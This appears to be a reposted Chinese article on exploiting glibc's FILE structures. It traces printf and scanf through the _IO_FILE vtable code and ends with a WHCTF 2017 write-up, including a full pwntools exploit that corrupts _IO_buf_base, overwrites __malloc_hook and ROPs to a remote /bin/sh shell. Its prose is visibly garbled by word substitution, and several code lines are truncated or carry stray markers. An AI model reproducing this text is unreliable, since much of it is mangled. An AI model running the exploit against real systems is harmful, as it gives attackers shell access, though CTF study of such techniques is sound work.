频道栏目
首页 > 资讯 > 网络安全 > 正文

接口安全分析之从printf源码看libc的IO

17-10-03        来源:[db:作者]  
收藏   我要投稿

接口安全分析之从printf源码看libc的IO。咱们彷佛每天都在应用IO,最典型的应用便是printf,scanf,曩昔咱们只晓得printf会有格式化字符串破绽,然则咱们并无怎样穷究过IO详细的是怎样回事,和详细有甚么可以或许入侵攻击的点。

2016 HITCON有一道 house of orange,是一道可谓经典的标题,第一次(或许彷佛是第一次?)让咱们把入侵攻击的思想往IO FILE里去斟酌,因而咱们开端思虑libc的虚表的可入侵攻击性,可怜的是,libc的开辟职员也很快认识到了这个虚表的成绩,在2.24的libc版本中对vtables停止了加固:

2.24 libc更新日记中的一个内容:

[20191] stdio: libio: vtables hardening

因而这个方法逐步变得艰苦了起来,还好咱们的思绪不仅仅是如许……

本文主要从经典的虚表道理开端提及,中央弥补一下scanf和printf的道理,末了提到一种较新的(或许是我觉得较新的?)思绪。

从虚表开端提及

起首咱们来看下经典的(固然彷佛是2016以后才风行起来的)_IO_FILE_plus的虚表入侵攻击方法。

1._IO_FILE 与 _IO_FILE_plus

源码永久是答复心中疑难的好先生,起首来看看对于这两个布局体的源码:

// libio/libio.h _IO_FILE 布局体

struct _IO_FILE {

int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */

/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */

char* _IO_read_ptr; /* Current read pointer */

char* _IO_read_end; /* End of get area. */

char* _IO_read_base; /* Start of putback+get area. */

char* _IO_write_base; /* Start of put area. */

char* _IO_write_ptr; /* Current put pointer. */

char* _IO_write_end; /* End of put area. */

char* _IO_buf_base; /* Start of reserve area. */

char* _IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */

char *_IO_save_base; /* Pointer to start of non-current get area. */

char *_IO_backup_base; /* Pointer to first valid character of backup area */

char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;

#if 0

int _blksize;

#else

int _flags2;

#endif

_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */

/* 1+column number of pbase(); 0 is unknown. */

unsigned short _cur_column;

signed char _vtable_offset;

char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;

#ifdef _IO_USE_OLD_IO_FILE

};

和_IO_FILE_plus:

// libio/libioP.h

#define JUMP_FIELD(TYPE, NAME) TYPE NAME

#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)

struct _IO_jump_t // 虚表布局体

{

JUMP_FIELD(size_t, __dummy);

JUMP_FIELD(size_t, __dummy2);

JUMP_FIELD(_IO_finish_t, __finish);

JUMP_FIELD(_IO_overflow_t, __overflow);

JUMP_FIELD(_IO_underflow_t, __underflow);

JUMP_FIELD(_IO_underflow_t, __uflow);

JUMP_FIELD(_IO_pbackfail_t, __pbackfail);

/* showmany */

JUMP_FIELD(_IO_xsputn_t, __xsputn);

JUMP_FIELD(_IO_xsgetn_t, __xsgetn);

JUMP_FIELD(_IO_seekoff_t, __seekoff);

JUMP_FIELD(_IO_seekpos_t, __seekpos);

JUMP_FIELD(_IO_setbuf_t, __setbuf);

JUMP_FIELD(_IO_sync_t, __sync);

JUMP_FIELD(_IO_doallocate_t, __doallocate);

JUMP_FIELD(_IO_read_t, __read);

JUMP_FIELD(_IO_write_t, __write);

JUMP_FIELD(_IO_seek_t, __seek);

JUMP_FIELD(_IO_close_t, __close);

JUMP_FIELD(_IO_stat_t, __stat);

JUMP_FIELD(_IO_showmanyc_t, __showmanyc);

JUMP_FIELD(_IO_imbue_t, __imbue);

#if 0

get_column;

set_column;

#endif

};

struct _IO_FILE_plus

{

_IO_FILE file; // 便是一个libio.h中的_IO_FILE 布局体

const struct _IO_jump_t *vtable; // 多出一个vtable

};

咱们可以或许看到_IO_FILE_plus的构成,实在便是一个_IO_FILE布局体自己再加之一个跳表,从plus这个称号咱们也能看进去,实在这个处所是为了兼容C++,对付C++的工具来讲,除数据之外另有方法,方法的完成是会用到跳表的,为了可以或许兼容,除_IO_FILE自己之外,只能再增加一个跳表,而后应用新的布局体来停止兼容。

现实上在libc外部对付FILE布局体便是用_IO_FILE_plus来停止表现的,然则对付pwn选手来讲,只需有函数指针,就有节制履行流的能够,独一的成绩是,用谁的函数指针?

这个实在并非一个难事,由于每个文件必定都有3个FILE,也便是如下三个,我想人人曾经不能再认识他们了:

{C}// libio/libio.h

extern struct _IO_FILE_plus _IO_2_1_stdin_;

extern struct _IO_FILE_plus _IO_2_1_stdout_;

extern struct _IO_FILE_plus _IO_2_1_stderr_;

是的,便是stdin, stdout和stderr,好了,那末这类应用的思绪应当就比拟明白了:只需咱们有方法节制stdin,stdout和stderr的虚表指针,咱们就可以或许在应用到这三个布局体的虚表的时刻节制履行流。

不外另有一个小成绩,究竟在甚么时刻这些函数指针会被用到?那末让咱们继承从输出输出开端提及……

2.你不认识的scanf和printf

如下内容源码较长,能够惹起不适,请过度旁观。为了简略,咱们就从printf开端看。起首是printf的进口:

// stdio-common/printf.c

int

__printf (const char *format, ...)

{

va_list arg;

int done;

va_start (arg, format);

done = vfprintf (stdout, format, arg);

va_end (arg);

return done;

}

间接移交给了vfprintf,好吧,再来看vfprintf:

(感到代码太长的同窗可以或许间接跳到末了看论断)

// stdio-common/vfprintf.c

// 这里似乎有一些奇异的处所,我所应用的ubuntu-2.23的libc这里挪用的是

// _IO_vfprintf_internal,不外逻辑彷佛没有甚么差别

// 阐发全部printf太可怕了,咱们就看%s和%d的完成好了

// 如下是一开端挪用所必要存眷的部门

/* The function itself. */

int

vfprintf (FILE *s, const CHAR_T *format, va_list ap)

{

[...]

// 反省参数

ARGCHECK (s, format);

[...]

if (UNBUFFERED_P (s))

/* Use a helper function which will allocate a local temporary buffer

for the stream and then call us again. */

// 挪用了buffered_vfprintf

return buffered_vfprintf (s, format, ap);

[...]

}

static int

internal_function

buffered_vfprintf (_IO_FILE *s, const CHAR_T *format,

_IO_va_list args)

{

[...]

/* Initialize helper. */

// 设置一个helper布局,这个布局看后文

helper._put_stream = s;

[...]

// 设置好了helper,跳归去

result = vfprintf (hp, format, args);

[...]

return result

}

// 好了颠末helper的设置,咱们又跳返来了,

/* The function itself. */

int

vfprintf (FILE *s, const CHAR_T *format, va_list ap)

{

[...]

// 一个大do-while来处置格式化字符串

/* Process whole format string. */

do

{

// 中央的操纵异常的沉重

// 主如果处置了h,hh等等各类器械

// 不外格式化字符串自己在这里并非咱们存眷的重点,以是咱们跳过

[...]

// 这里咱们必要存眷了,这里是在处置好格式化字符串自己的各类器械以后

// 真正对格式化字符串停止处置,停止输出等等

/* Process current format. */

while (1)

{

// 这里实在便是间接用了process_arg,看来还得继承跟一下

process_arg (((struct printf_spec *) NULL));

process_string_arg (((struct printf_spec *) NULL));

LABEL (form_unknown):

if (spec == L_('\0'))

{

/* The format string ended before the specifier is complete. */

__set_errno (EINVAL);

done = -1;

goto all_done;

}

/* If we are in the fast loop force entering the complicated

one. */

goto do_positional;

}

[...]

}

// process_arg是个大宏,也异常繁杂,照样必要有数简化

// 上面全部是一个宏,以是疏忽一些空格和反斜杠的不完备和差错,如许更加便利浏览

#define process_arg(fspec) \

// 上面开端处置 \

/* Start real work. We know about all flags and modifiers and \

now process the wanted format specifier. */ \

LABEL (form_percent): \

{C} // 咱们只存眷%d相干内容,其余相似

[...]

LABEL (form_integer): \

// 整数相干的从这里开端

// 设置base为10,意思是10进制

base = 10; \

// 依据详细环境,再停止一些处置,以后移交到详细的longlong_number和number停止处置

if (is_longlong) \

{ \

[...]

goto LABEL (longlong_number); \

} \

else \

{ \

[...]

goto LABEL (number); \

} \

[...]

// longlong_number和number相似,不反复了

LABEL (number): \

// 这里的中央进程终极设置好了string

// 也便是必要输出的字符串

[...]

// 依据是不是正数,应用outchar停止输出字符

if (is_negative) \

outchar (L_('-')); \

else if (showsign) \

outchar (L_('+')); \

else if (space) \

outchar (L_(' ')); \

[...]

{C} // 应用outstring把曾经设置好的string输出了

outstring (string, workend - string); \

\

break; \

// 宏的说明到这里停止

// 宏主要的内容实在也很明显,便是先依据详细的格式化字符串标识符来设置好string,string

// 也便是咱们要输出的内容,是一个字符串,以后应用outstring来输出字符串,对付字符则应用

// outchar输出字符

// 如今咱们再来看看outchar和outstring

#define outchar(Ch) \

do \

{ \

const INT_T outc = (Ch); \

// 又应用了PUTC来输出字符

if (PUTC (outc, s) == EOF || done == INT_MAX) \

{ \

done = -1; \

goto all_done; \

} \

++done; \

} \

while (0)

#define outstring(String, Len) \

do \

{ \

assert ((size_t) done size_t) INT_MAX); \

// outstring则是应用了PUT来输出字符串

if ((size_t) PUT (s, (String), (Len)) != (size_t) (Len)) \

{ \

{C} done = -1; \

goto all_done; \

} \

if (__glibc_unlikely (INT_MAX - done

{ \

done = -1; \

__set_errno (EOVERFLOW); \

goto all_done; \

} \

done += (Len); \

} \

while (0)

// libio/libioP.h

// 看来咱们的义务还没完,再来看看PUTC和PUT

# define PUT(F, S, N) _IO_sputn ((F), (S), (N))

# define PUTC(C, F) _IO_putc_unlocked (C, F)

// 又挪用了其余,继承继承

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)

#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)

// 终究送了一口气,跟了若干个函数都不记患了,不外终极是到点了。

// 这里做的工作便是经由进程层层移交,终极由跳表中的响应函数来完成

// 不外另有PUTC

// libio/libio.h

#define _IO_putc_unlocked(_ch, _fp) \

(_IO_BE ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end, 0) \

? __overflow (_fp, (unsigned char) (_ch)) \

: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))

// 挪用了__overflow

// libio/genops.h

int

__overflow (_IO_FILE *f, int ch)

{

/* This is a single-byte stream. */

if (f->_mode == 0)

_IO_fwide (f, -1);

return _IO_OVERFLOW (f, ch);

}

// 又挪用了_IO_OVERFLOW,依据曩昔的定名法,咱们应当猜到这个很靠近了

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

// 依然是挪用虚表函数

这一段代码估量曾经把人人的汗都看进去了,咱们做个总结吧:实在就一句话,printf终极挪用了虚内外的函数来完成输出义务。

也便是说,只需应用了printf,咱们就相当于挪用了虚内外的某个函数,详细哪个还必要从源码去看,不外对于虚表的部门说到这根本也就够了,scanf的内容实在也是同样,终极都邑到虚内外停止履行。

到这里,咱们就办理了对于应用虚表时刻的成绩,那便是甚么时刻挪用,以是只需有输出输出,咱们就可以或许挪用到虚表的某个函数了。

3.总结一下虚表的应用方法

由于libc中的尺度输出输出函数会用到stdin,stdout和stderr几个布局体,而终极都邑应用虚表函数来完成详细操纵,以是假如可以或许操纵虚表指针,就可以或许节制履行流。

4.libc-2.24

在2.24中,增加了一个虚表的检测机制,也便是虚表必需位于某一个地位之内,跨越这一段就会间接被abort掉,以是这个看似美好的方法到2.24就曾经用不明晰。

没了虚表,想一想其余

1.输出buf也能够或许搞工作

到适才,咱们阐发了虚表曩昔的部门,然则,咱们实在是没有不停走到最底层的,由于至多获得read/write体系挪用才算是真正停止了输出输出的操纵,而这个操纵咱们并无看到,那是由于他们都被完成在了虚内外。

如今让咱们来阐发一下scanf的虚表完成内容吧。此次咱们少看点源码,就看看这个underflow:

int

_IO_new_file_underflow (_IO_FILE *fp)

{

_IO_ssize_t count;

{C}#if 0

/* SysV does not make this test; take it out for compatibility */

if (fp->_flags & _IO_EOF_SEEN)

return (EOF);

#endif

if (fp->_flags & _IO_NO_READS)

{

fp->_flags |= _IO_ERR_SEEN;

__set_errno (EBADF);

return EOF;

}

// 只要在read_ptr

if (fp->_IO_read_ptr _IO_read_end)

return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL)

{

/* Maybe we already have a push back pointer. */

if (fp->_IO_save_base != NULL)

{

free (fp->_IO_save_base);

fp->_flags &= ~_IO_IN_BACKUP;

}

_IO_doallocbuf (fp);

}

/* Flush all line buffered files before reading. */

/* FIXME This can/should be moved to genops ?? */

if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))

{

#if 0

_IO_flush_all_linebuffered ();

#else

/* We used to flush all line-buffered stream. This really isn't

required by any standard. My recollection is that

traditional Unix systems did this for stdout. stderr better

not be line buffered. So we do just that here

explicitly. --drepper */

_IO_acquire_lock (_IO_stdout);

if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))

== (_IO_LINKED | _IO_LINE_BUF))

_IO_OVERFLOW (_IO_stdout, EOF);

_IO_release_lock (_IO_stdout);

#endif

}

_IO_switch_to_get_mode (fp);

/* This is very tricky. We have to adjust those

pointers before we call _IO_SYSREAD () since

we may longjump () out while waiting for

input. Those pointers may be screwed up. H.J. */

fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;

fp->_IO_read_end = fp->_IO_buf_base;

fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end

= fp->_IO_buf_base;

// 这里挪用read(0, _IO_buf_base, _IO_buf_end - _IO_buf_base)

count = _IO_SYSREAD (fp, fp->_IO_buf_base,

fp->_IO_buf_end - fp->_IO_buf_base);

if (count

{

if (count == 0)

fp->_flags |= _IO_EOF_SEEN;

else

fp->_flags |= _IO_ERR_SEEN, count = 0;

}

// read_end加之此次读所读到的字节数

fp->_IO_read_end += count;

if (count == 0)

{

/* If a stream is read to EOF, the calling application may switch active

handles. As a result, our offset cache would no longer be valid, so

unset it. */

fp->_offset = _IO_pos_BAD;

return EOF;

}

if (fp->_offset != _IO_pos_BAD)

_IO_pos_adjust (fp->_offset, count);

return *(unsigned char *) fp->_IO_read_ptr;

}

在挪用underflow曩昔实在会停止一个_IO_read_ptr++的操纵,共同上underflow,我想人人都应当能看懂这个的寄义吧?

_IO_buf_base, _IO_buf_end, _IO_read_ptr, _IO_read_end 4个变量都是在_IO_FILE的布局体里的,buf_base到buf_end是一个buf,而read_ptr到read_end则比拟奇异了,我预测能够是尚未处置的部门,read_ptr在一开端和buf_base相称,输出以后read_end会指向输出以后的开头部门,buf_end是不变的,每次输出只能输出buf_end-buf_base个size,并且只要在read_ptr >= read_end,也便是为空的时刻才可以或许读入buf_base。

依据现实考试发明,每一次scanf彷佛read_ptr都邑加一,实在用到这个论断就可以或许了。

固然,最主要的处所照样挪用read体系挪用,写入的地位就在buf_base!因而假如可以或许变动这个值,就可以或许应用scanf停止随意率性写了!

这个伎俩固然绝对虚表来讲限定颇多,然则至多是供给了一个随意率性写的计划,可以或许作为扩展节制才能的一种伎俩,算是一种新的思绪。

2.WHCTF 2017 stackoverflow

接下来咱们来看一下这类新思绪的应用吧。标题来源于WHCTF 2017。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)

{

__int64 v3; // ST08_8@1

v3 = *MK_FP(__FS__, 40LL);

setvbuf(stdin, 0LL, 2, 0LL);

setvbuf(stdout, 0LL, 2, 0LL);

input_name();

print_hint();

while ( 1 )

main_proc();

}

__int64 input_name()

{

char name; // [sp+0h] [bp-70h]@1

__int64 v2; // [sp+68h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);

printf("leave your name, bro:");

read_content(&name, 0x50);

printf("worrier %s, now begin your challenge", &name);

return *MK_FP(__FS__, 40LL) ^ v2;

}

__int64 __fastcall read_content(char *buf, int size)

{

__int64 result; // rax@4

__int64 v3; // rcx@4

unsigned int v4; // [sp+14h] [bp-Ch]@1

__int64 v5; // [sp+18h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);

v4 = read(0, buf, size);

if ( (v4 & 0x80000000) != 0 )

{

printf("Error!", buf);

exit(0);

}

result = v4;

v3 = *MK_FP(__FS__, 40LL) ^ v5;

return result;

}

__int64 print_hint()

{

__int64 v0; // ST08_8@1

v0 = *MK_FP(__FS__, 40LL);

puts("Welcome to stackoverflow challenge!!!");

puts("it is really easy");

return *MK_FP(__FS__, 40LL) ^ v0;

}

__int64 main_proc()

{

__int64 result; // rax@7

__int64 v1; // rcx@7

int size; // [sp+8h] [bp-18h]@1

int tmp_size; // [sp+Ch] [bp-14h]@1

void *v4; // [sp+10h] [bp-10h]@4

__int64 v5; // [sp+18h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);

printf("please input the size to trigger stackoverflow: ");

_isoc99_scanf("%d", &size);

IO_getc(stdin); // get rid of \n

tmp_size = size;

while ( size > 0x300000 )

{

puts("too much bytes to do stackoverflow.");

printf("please input the size to trigger stackoverflow: ");

_isoc99_scanf("%d", &size);

IO_getc(stdin);

}

v4 = malloc(0x28uLL);

global_malloced = (char *)malloc(size + 1);

if ( !global_malloced )

{

printf("Error!");

exit(0);

}

printf("padding and ropchain: ");

read_content(global_malloced, size);

global_malloced[tmp_size] = 0; // out of bound write

result = 0LL;

v1 = *MK_FP(__FS__, 40LL) ^ v5;

return result;

}

标题有意思的处所就在于他的伎俩了。只能写入一个NULL的环境是异常受限定的,照样看看阐发吧。

1)破绽地位

①起首是input_name存在一个没有null开头的输出,因而可以或许形成泄漏,效果是可以或许泄漏出libc,这个是比拟简略的处所。

②main_proc中存在一个越界写,当输出size大于0x300000的时刻,tmp_size会保留,以后从新输出以后tmp_size没有更新,招致越界写。

2)应用思绪

成绩1:越界写,且只能写入一个null,看似毫无用处,不外幸亏可以或许写入许多个null,因而malloc也能够或许停止屡次,以是第一个义务是要可以或许写器械到有意义的处所,栈,堆或许libc,经由进程分派大地点招致堆mmap,咱们可以或许使得分派的内容在libc曩昔附近的地位,因而经由进程越界写就可以或许写入libc了。

成绩2:写啥?这个真的是卡了许多人的一个处所,终极的抉择,是写了_IO_buf_base,这个标题比拟特别,给出的libc-2.24.so偏移有特别性,_IO_buf_base比_IO_buf_end小1,并且_IO_buf_end地点的最低位恰好是00,因而向base写入一个00,就可以或许指向end,以后往end写入malloc_hook的地点,而后轮回一下使read_ptr和read_end相称,再次读入,就可以或许写入malloc_hook了

成绩3:若何扩展节制。实在节制了履行流,就比拟简略了,咱们找了一个read:

.text:0000000000400A23 ; 7: read_content(&name, 0x50);

.text:0000000000400A23 lea rax, [rbp+name]

.text:0000000000400A27 mov esi, 50h

.text:0000000000400A2C mov rdi, rax

.text:0000000000400A2F call read_content

这个read是input_name里的,往栈上写入内容,以后就可以或许停止rop了。

3)exp

import sys

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

DEBUG = 0

GDB = 1

libc = ELF('./libc-2.24.so')

if DEBUG:

p = process('./stackoverflow')

else:

HOST = sys.argv[1]

PORT = int(sys.argv[2])

p = remote(HOST, PORT)

def leak_libc():

p.sendline('a' * 7)

p.recvuntil('worrier ' + 'a' * 7 + '\n')

leak = ((p.recvuntil(',')[:-1]).ljust(8, '\x00'))

p.info(len(leak))

addr = u64(leak)

return addr - 0x7dd52

def main():

if GDB:

raw_input()

libc_base = leak_libc()

p.info('libc_base: {}'.format(hex(libc_base)))

p.recvuntil('stackoverflow:')

p.sendline(str(0x5c28f8 - 0x10))

p.recvuntil('stackoverflow:')

p.sendline(str(0x200000))

p.recvuntil('ropchain:')

p.send('a') # doesn't matter

p.recvuntil('stackoverflow:')

# This will be written at &_IO_buf_base

malloc_hook_end = libc_base + libc.symbols['__malloc_hook'] + 8

payload = p64(malloc_hook_end)

p.send(payload)

p.recvuntil('ropchain:')

p.send('b')

for i in range(len(payload) - 1):

p.recvuntil('stackoverflow:')

p.recvuntil('ropchain:')

p.send('x')

file_struct_left = p64(malloc_hook_end)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p32(0)

file_struct_left += p32(0x10)

file_struct_left += p64(0xffffffffffffffff)

file_struct_left += p64(0)

file_struct_left += p64(libc_base + 0x3c3770)

file_struct_left += p64(0xffffffffffffffff)

file_struct_left += p64(0)

file_struct_left += p64(libc_base + 0x3c19a0)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p64(0)

file_struct_left += p64(libc_base + 0x3be400)

payload = file_struct_left

payload = payload.ljust(0x1f0, '\x00')

payload += p64(0x400a23) # rip

p.recvuntil('stackoverflow:')

# This will be written in __malloc_hook

p.send(payload)

# Rop from here

binsh_addr = 0x0000000000602000 + 0x500

pop_rdi_ret = 0x000000000001fd7a + libc_base

pop_rsi_ret = 0x000000000001fcbd + libc_base

pop_rdx_ret = 0x0000000000001b92 + libc_base

payload = p64(pop_rdi_ret)

payload += p64(0) # fd

payload += p64(pop_rsi_ret)

payload += p64(binsh_addr) # buf

payload += p64(pop_rdx_ret)

payload += p64(0x100) # nbytes

payload += p64(libc_base + libc.symbols['read']) # read(0, binsh_addr, 0x100)

payload += p64(pop_rdi_ret)

payload += p64(binsh_addr) # system_cmd = /bin/sh\x00

payload += p64(libc_base + libc.symbols['system']) # system("/bin/sh\x00")

p.send(payload)

p.send('/bin/sh\x00')

p.interactive()

if __name__ == "__main__":

main()

这道标题实在便是一个写buf的伎俩的应用,只需可以或许想到用写buf的伎俩实在就很简略了。

总结

1.scanf和printf之类的输出输出函数终极都邑挪用响应虚函数完成底层操纵,2.24曩昔可以或许经由进程变动虚表来节制履行流。

2.底层操纵终极经由进程read等体系挪用停止完成,也便是完成在虚内外,被初始化进虚表。

3.对付scanf来讲,虚表完成写入的时刻会应用到buf,这里的buf会在scanf时刻用到,以是可以或许经由进程节制buf来到达对libc的一个随意率性写入,这个方法没有被2.24影响。

4.libc傍边值得注意的处所另有许多,应当更多的去深刻到源码去探求这些有意思的器械。

相关TAG标签
上一篇:SQL语句得出计算次数出现最多的值
下一篇:安全专家说Android 8.0和iPhone X一样安全,这是真的吗? | 关注黑客与极客
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站